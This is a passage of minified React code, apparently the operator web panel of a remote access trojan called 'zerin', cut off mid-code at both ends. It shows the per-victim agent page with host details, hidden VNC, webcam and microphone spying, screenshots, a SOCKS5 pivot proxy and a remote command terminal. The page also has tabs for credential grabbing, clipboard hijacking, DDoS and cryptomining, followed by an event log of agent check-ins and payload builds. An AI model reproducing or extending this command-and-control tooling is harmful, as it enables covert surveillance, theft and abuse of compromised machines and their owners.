")[0])&&M!==x.split(" ")[0]):u2;async function le(M){var ne;if(M.preventDefault(),!e||!x.trim())return;const ee=x.trim().split(/\s+/),W=ee[0],X=ee.slice(1);v(!0),w(!1);try{await ke(e,{command:W,args:X}),g(""),R(null),setTimeout(te,500)}catch(H){R(`[SEND FAILED] ${H instanceof Error?H.message:"Unknown error"}`)}finally{v(!1),(ne=de.current)==null||ne.focus()}}function me(M){var ee;g(M+" "),w(!1),(ee=de.current)==null||ee.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const ge=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:ge}),s.jsx(Ku,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Os(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await ix(i.id);const M=Ze(),ee=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await qj(i.id);const M=Ze(),ee=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>fe(M=>!M),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ae&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:Y,onChange:M=>ie(Number(M.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(M=>s.jsxs("option",{value:M,children:["Camera ",M]},M))]}),s.jsx("button",{onClick:async()=>{fe(!1);try{await Yj(i.id,Y);const M=Ze(),ee=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await Gj(i.id);const M=Ze(),ee=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await ke(i.id,{command:"screenshot"}),G("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>U(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(ln,{label:"Overview",active:j==="overview",onClick:()=>G("overview")}),s.jsx(ln,{label:"Screenshots",active:j==="screenshots",onClick:()=>G("screenshots"),badge:A.length>0?A.length:void 0}),s.jsx(ln,{label:"Files",active:j==="files",onClick:()=>G("files")}),s.jsx(ln,{label:"Processes",active:j==="processes",onClick:()=>G("processes")}),s.jsx(ln,{label:"Windows",active:j==="windows",onClick:()=>G("windows")}),s.jsx(ln,{label:"Apps",active:j==="apps",onClick:()=>G("apps")}),s.jsx(ln,{label:"System",active:j==="system",onClick:()=>G("system")}),s.jsx(ln,{label:"Troll",active:j==="troll",onClick:()=>G("troll")}),s.jsx(ln,{label:"Credentials",active:j==="credentials",onClick:()=>G("credentials")}),s.jsx(ln,{label:"Clipper",active:j==="clipper",onClick:()=>G("clipper")}),s.jsx(ln,{label:"DDoS",active:j==="ddos",onClick:()=>G("ddos")}),s.jsx(ln,{label:"Miner",active:j==="miner",onClick:()=>G("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(op,{title:"System",children:[s.jsx(Vt,{label:"Hostname",value:i.hostname}),s.jsx(Vt,{label:"Username",value:i.username}),s.jsx(Vt,{label:"OS",value:fo(i.os)}),s.jsx(Vt,{label:"Architecture",value:i.arch}),s.jsx(Vt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Vt,{label:"Integrity",value:i.integrity}),s.jsx(Vt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(op,{title:"Network",children:[s.jsx(Vt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Vt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(op,{title:"Timing",children:[s.jsx(Vt,{label:"Sleep / Jitter",value:t5(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Vt,{label:"First Seen",value:uo(i.first_seen)}),s.jsx(Vt,{label:"Last Seen",value:Ac(i.last_seen)}),s.jsx(Vt,{label:"Agent ID",value:Os(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${$!=null&&$.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:$!=null&&$.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.port?`127.0.0.1:${$.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[cm($.bytes_in)," in / ",cm($.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await _E(i.id),q({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const M=await Xj(i.id);q({active:!0,port:M.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:P.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...P].reverse().map(M=>{var W;const ee=(W=M.args)!=null&&W.length?" "+M.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[M.command,ee]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${TU[M.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:M.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:uo(M.created_at)})]},M.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(xU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(vU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(gU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(yU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(bU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx(jU,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(PU,{agentId:i.id,agentStatus:i.status,autoGrab:B,onAutoGrabConsumed:()=>{V(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(_U,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(C3,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(OU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:A.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:A.map(M=>s.jsxs("button",{onClick:()=>O(M.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:I.has(M.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:M.dataUrl,alt:`Screenshot ${Os(M.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>F(ee=>new Set(ee).add(M.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Os(M.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:Ac(M.timestamp)})]})})]},M.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>T(M=>!M),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${_?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),_&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(hU,{lines:D,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&Z.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:Z.map(M=>s.jsx("button",{onClick:()=>me(M),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:M},M))})]})}),K&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:K}),s.jsxs("form",{onSubmit:le,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:de,type:"text",value:x,onChange:M=>g(M.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(n5,{agentId:i.id,agentHostname:i.hostname,open:E,onClose:()=>U(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:M=>M.stopPropagation(),children:[s.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function ln({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function op({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Vt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const E3={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},d2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},LU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function IU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await bE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(Yu);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(f2,{label:"All",active:i==="all",onClick:()=>a("all")}),LU.map(m=>s.jsx(f2,{label:E3[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted 